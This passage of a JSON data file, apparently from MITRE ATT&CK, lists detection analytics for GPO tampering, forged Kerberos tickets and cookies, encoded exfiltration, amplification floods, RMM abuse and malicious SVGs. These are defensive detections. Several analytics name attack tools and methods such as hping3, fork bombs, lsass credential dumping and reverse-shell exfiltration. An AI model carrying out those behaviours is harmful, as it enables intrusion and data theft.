            "description": "Adversary modifies Group Policy Objects (GPOs), domain trust, or directory service objects via GUI, CLI, or programmatic APIs. Behavior includes creation/modification of GPOs, delegation permissions, trust objects, or rogue domain controller registration.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=5136"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ObjectDN",
                    "description": "Filter to specific AD containers (e.g., CN=Policies,CN=System,DC=domain,DC=com) for GPOs."
                },
                {
                    "field": "AttributeModified",
                    "description": "Focus on high-risk attributes such as gPCFileSysPath, ntSecurityDescriptor."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlate changes with suspicious process creation or privileged user logon."
                },
                {
                    "field": "UserContext",
                    "description": "Alert on unexpected user or service account modifying domain policy."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
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                    "field": "RequestHeaderMatch",
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                    "field": "GeoIPAllowList",
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                    "field": "MFAStatus",
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                    "field": "WatchedXattrKeys",
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                {
                    "field": "EntropyThreshold",
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                    "channel": "read: Access to sensitive log files by non-admin users"
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                    "description": "Used to flag binaries much larger than typical shell utilities or payloads"
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                {
                    "field": "MemoryWriteTargets",
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                    "field": "ExecutionAfterWriteWindow",
                    "description": "Temporal threshold for file write to execution"
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            "id": "x-mitre-analytic--f8998263-e55f-428f-b8d0-46d9e31277d2",
            "created": "2025-10-21T15:10:28.402Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0348#AN0991",
                    "external_id": "AN0991"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0991",
            "description": "Detects VMs sending outbound traffic through non-standard services or to unknown destinations. Exfiltration over reverse shells tunneled via VMkernel or custom payloads routed via hostd/vpxa.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "esxi:vpxa",
                    "channel": "connection attempts and data transmission logs"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "esxi:vmkernel",
                    "channel": "network stack module logs"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "esxi:syslog",
                    "channel": "guest OS outbound transfer logs"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "GuestOSAllowList",
                    "description": "Limit detection to sensitive or externally-exposed VMs handling confidential data."
                },
                {
                    "field": "TransferSizeThresholdMB",
                    "description": "Minimum outbound transfer size before flagging anomalous C2-based exfiltration."
                },
                {
                    "field": "ProtocolAllowList",
                    "description": "Define expected protocols for outbound data (e.g., disallow FTP/SCP over high ports)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--f8c255ac-8ba5-4971-9e11-420a10e688ad",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0171#AN0487",
                    "external_id": "AN0487"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0487",
            "description": "Forged cookies in SaaS environments manifest as valid web sessions without matching login activity, MFA enforcement bypass, or cookies reused across multiple devices/IPs. Defenders should look for cookie replay, concurrent sessions from multiple geographies, or session tokens generated by unrecognized apps.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "SaaS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428",
                    "name": "m365:unified",
                    "channel": "Session activity without correlated login event"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "saas:access",
                    "channel": "Multiple concurrent logins using same cookie from different locations"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TokenReplayThreshold",
                    "description": "Number of concurrent uses of a cookie that should trigger an alert."
                },
                {
                    "field": "GeoLocationAlerts",
                    "description": "Unusual SaaS logins from geographically distant locations in short timeframes."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--f8c99f4f-f61e-436c-a093-c97969c9b038",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0118#AN0327",
                    "external_id": "AN0327"
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            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0327",
            "description": "Correlates inbound network access to remote service ports (e.g., SMB/RPC 445/135, RDP 3389, WinRM 5985/5986) with near-time instability in the target service (crash, abnormal restart), suspicious child process creation under the service, and post-access lateral-movement behaviors. The chain indicates likely exploitation rather than normal administration.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "WinEventLog:System",
                    "channel": "EventCode=1000"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "Inbound connections to 445, 3389, 5985-5986 with high error/connection-reset rate, followed by new outbound sessions from the same host to internal assets within short interval."
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ServicePortSet",
                    "description": "List of monitored service ports (default: 445,135,3389,5985,5986,1433,3306)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation window between inbound access and crash/child-process (default: 10 minutes)."
                },
                {
                    "field": "AllowedAdminCIDRs",
                    "description": "Known management networks to suppress benign admin traffic."
                },
                {
                    "field": "MinConnErrorRate",
                    "description": "Percent of failed/aborted connections to treat as anomalous (default: 30%)."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--f8e77c9a-2b8c-47d2-b44a-23857d246016",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0101#AN0279",
                    "external_id": "AN0279"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0279",
            "description": "Detects invocation of lua or luajit interpreters by users or services outside of expected packages, chained with script drop or memory artifacts.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "auditd:SYSCALL",
                    "channel": "PATH"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ExecutablePath",
                    "description": "Lua interpreter path may vary based on distro or adversary staging."
                },
                {
                    "field": "UserContext",
                    "description": "May need to exclude service or admin accounts that use Lua legitimately."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--f9079cb0-76ff-4b4a-a73c-4f6572e7eef5",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0553#AN1528",
                    "external_id": "AN1528"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1528",
            "description": "Detects the creation or execution of padded binary files (e.g., large size but minimal legitimate content) followed by process execution or lateral movement from the host.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "FileSizeThresholdMB",
                    "description": "Threshold size in MB to determine suspicious padding"
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation time window between file creation and execution"
                },
                {
                    "field": "UserContext",
                    "description": "Scope the detection to suspicious or non-standard user accounts"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--f931e587-28f8-4923-b054-98d6348dcafe",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0210#AN0593",
                    "external_id": "AN0593"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0593",
            "description": "Login to vSphere or ESXi hosts using domain accounts, especially those associated with vpxuser or unexpected group memberships.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "esxi:vpxd",
                    "channel": "/var/log/vmware/vpxd.log"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b",
                    "name": "esxi:hostd",
                    "channel": "/var/log/hostd.log"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AccountType",
                    "description": "Prioritize detection on accounts with elevated access."
                },
                {
                    "field": "LoginInterface",
                    "description": "Distinguish interactive UI login from API or SSH access."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--f94e2ae3-7c79-4796-96a1-e462828f9c13",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0321#AN0909",
                    "external_id": "AN0909"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0909",
            "description": "Unusual execution of virtualization binaries (VBoxManage.exe, vmware-vmx.exe, vmwp.exe) with headless or suppressed notification arguments. Registry and service modifications linked to virtualization installs. Defender view: anomalies in process creation, service metadata, and registry writes tied to enabling hidden VMs.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705",
                    "name": "WinEventLog:System",
                    "channel": "EventCode=7045"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4657"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "VirtualizationBinaryWhitelist",
                    "description": "Exclude known administrative VM software usage in enterprise environments."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlate registry and service modifications with VM process starts within a narrow time frame."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--f9534b4a-57ef-40a0-801a-d56a217304f0",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0485#AN1334",
                    "external_id": "AN1334"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1334",
            "description": "Monitor ESXi syslog and esxcli outputs for abnormal DNS resolver behavior, such as frequent domain-to-IP changes or unauthorized modifications of DNS settings used by management agents. Correlate domain lookups with short TTL values.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "esxi:syslog",
                    "channel": "Frequent DNS resolution of same domain with rotating IPs"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ResolverConfigPaths",
                    "description": "Whitelist of expected DNS resolvers configured on ESXi"
                },
                {
                    "field": "ExternalDomainWhitelist",
                    "description": "Known trusted external domains for hypervisor services"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--f979bacd-580c-4948-b501-c42dd4a8cb92",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0108#AN0302",
                    "external_id": "AN0302"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0302",
            "description": "Atypical processes (e.g., powershell.exe, regsvr32.exe) encode large outbound traffic using Base64 or other character encodings; this traffic is sent over uncommon ports or embedded in protocol fields (e.g., HTTP cookies or headers).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "Unusual Base64-encoded content in URI, headers, or POST body"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "PayloadEntropyThreshold",
                    "description": "Adjust to accommodate legitimate compression or encryption patterns in normal web traffic"
                },
                {
                    "field": "ProcessAllowlist",
                    "description": "Define expected processes initiating outbound traffic to reduce false positives"
                },
                {
                    "field": "AnomalyScoreThreshold",
                    "description": "Set threshold for how far traffic deviates from baseline protocol structure or size"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--f9b13a61-0110-4882-9384-3468d22ac221",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0184#AN0524",
                    "external_id": "AN0524"
                }
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                {
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            "description": "Defenders may detect adversaries forging web credentials in IaaS environments by monitoring for anomalous API activity such as AssumeRole or GetFederationToken being executed by unusual principals. These events often correlate with sudden logon sessions from unfamiliar IP addresses or regions. The chain is usually secret material misuse (stolen private key or password) \u2192 API request generating a new token \u2192 access to high-value resources.",
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                    "channel": "uncommon ports"
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                {
                    "field": "ProcessName",
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                {
                    "field": "DataVolumeRatio",
                    "description": "Tunable ratio of sent/received bytes to indicate potential C2 beaconing or exfiltration."
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                {
                    "field": "TimeWindow",
                    "description": "Adjust temporal window to match likely fallback C2 retries after primary channel fails."
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        },
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            "name": "Analytic 0915",
            "description": "Identifies Mach-O binaries dropped into temporary directories with abnormally high binary size or padding patterns, followed by privilege escalation, `exec`, or memory mapping of other processes.",
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                    "channel": "ES_EVENT_TYPE_NOTIFY_EXEC"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96",
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_MMAP"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_OPEN"
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            ],
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                    "field": "TempFilePaths",
                    "description": "Track dropped executables in ~/Library/, /tmp/, or /private/tmp/"
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                {
                    "field": "MachOPaddingThreshold",
                    "description": "Define padding size or section entropy anomalies in Mach-O file format"
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                {
                    "field": "FollowOnPrivilegeEscalation",
                    "description": "Detects whether the binary attempts privilege escalation within short execution window"
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            "modified": "2025-11-12T22:03:39.105Z",
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            "description": "Detects forged Kerberos Golden Tickets by correlating anomalous Kerberos ticket lifetimes, unexpected encryption types (e.g., RC4 in modern domains), malformed fields in logon/logoff events, and TGS requests without preceding TGT requests. Also monitors for abnormal patterns of access associated with elevated privileges across multiple systems.",
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            "x_mitre_deprecated": false,
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            "x_mitre_domains": [
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                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b",
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                    "channel": "EventCode=4672, 4634"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4769"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
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            ],
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                    "field": "TicketLifetimeThreshold",
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                },
                {
                    "field": "AllowedEncryptionTypes",
                    "description": "Valid encryption algorithms for Kerberos tickets; anomalies (e.g., RC4) may indicate forgery."
                },
                {
                    "field": "PrivilegedAccountPatterns",
                    "description": "Baseline of privileged accounts expected to perform Kerberos operations; deviations indicate suspicious activity."
                },
                {
                    "field": "ProcessAllowlist",
                    "description": "Expected processes interacting with lsass.exe; deviations may indicate credential dumping."
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0864#AN1996",
                    "external_id": "AN1996"
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                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
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            ],
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "PRE"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e",
                    "name": "Internet Scan",
                    "channel": "None"
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            "x_mitre_deprecated": false
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            "description": "Adversaries writing or moving payloads into directories configured as AV/EDR exclusion paths (e.g., /tmp, /var/lib, or custom directories from auditd exclusion rules). Defender perspective: detect file creation in paths matching known exclusions correlated with unusual parent processes.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "field": "ExcludedDirectories",
                    "description": "System- or security-tool-configured exclusion directories where files should rarely change."
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                {
                    "field": "CorrelationWindow",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
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                    "channel": "Invocation of packet generation tools (e.g., hping3, nping) or fork bombs"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6",
                    "name": "NSM:Flow",
                    "channel": "TCP: possible SYN flood or backlog limit exceeded"
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            ],
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                {
                    "field": "AmplificationThreshold",
                    "description": "Volume of fake TCP requests before OS begins degradation"
                },
                {
                    "field": "Interface",
                    "description": "Which network interface is being targeted or impacted"
                }
            ],
            "x_mitre_deprecated": false
        },
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            "id": "x-mitre-analytic--fdf11d76-3bd7-41c4-b117-7b0f17b31b17",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0408#AN1140",
                    "external_id": "AN1140"
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1140",
            "description": "Outbound spoofed traffic to known amplification protocols (e.g., DNS, NTP, Memcached) combined with abnormal network traffic volume targeting remote reflectors, resulting in disproportionate traffic returned to a victim",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6",
                    "name": "Windows:perfmon",
                    "channel": "Sudden spike in outbound throughput without corresponding inbound traffic"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Interval for measuring sudden outbound spike or volume pattern"
                },
                {
                    "field": "AmplificationProtocolPorts",
                    "description": "List of known ports used for reflection amplification (e.g., 53/DNS, 123/NTP, 11211/Memcached)"
                },
                {
                    "field": "PacketToByteRatio",
                    "description": "Heuristic threshold where the response volume far outweighs the request volume"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--fe1cff12-9772-4ba9-92bc-c26eae79da24",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0510#AN1409",
                    "external_id": "AN1409"
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            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1409",
            "description": "Detects SVGs downloaded via browser that invoke AppleScript, osascript, or JavaScriptCore processes, followed by network egress or file drop to LaunchAgents or ~/Library.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_EXEC"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "macos:unifiedlog",
                    "channel": "subsystem: com.apple.WebKit or com.apple.WebKit.Networking"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ScriptEngines",
                    "description": "Scriptable binaries such as osascript, jsc, JavaScriptCore \u2013 may vary by OS version"
                },
                {
                    "field": "UserContext",
                    "description": "Restrict to non-system users or only specific login sessions"
                },
                {
                    "field": "EmbeddedContentIndicators",
                    "description": "SVGs embedded inside PDFs or HTML with script-based triggers"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--fe1e10ae-ddd2-40f0-8e62-3db88c0c8c68",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0259#AN0714",
                    "external_id": "AN0714"
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            ],
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0714",
            "description": "Adversary installation or use of RMM software (e.g., TeamViewer, AnyDesk, ScreenConnect) followed by outbound beaconing or remote session establishment",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
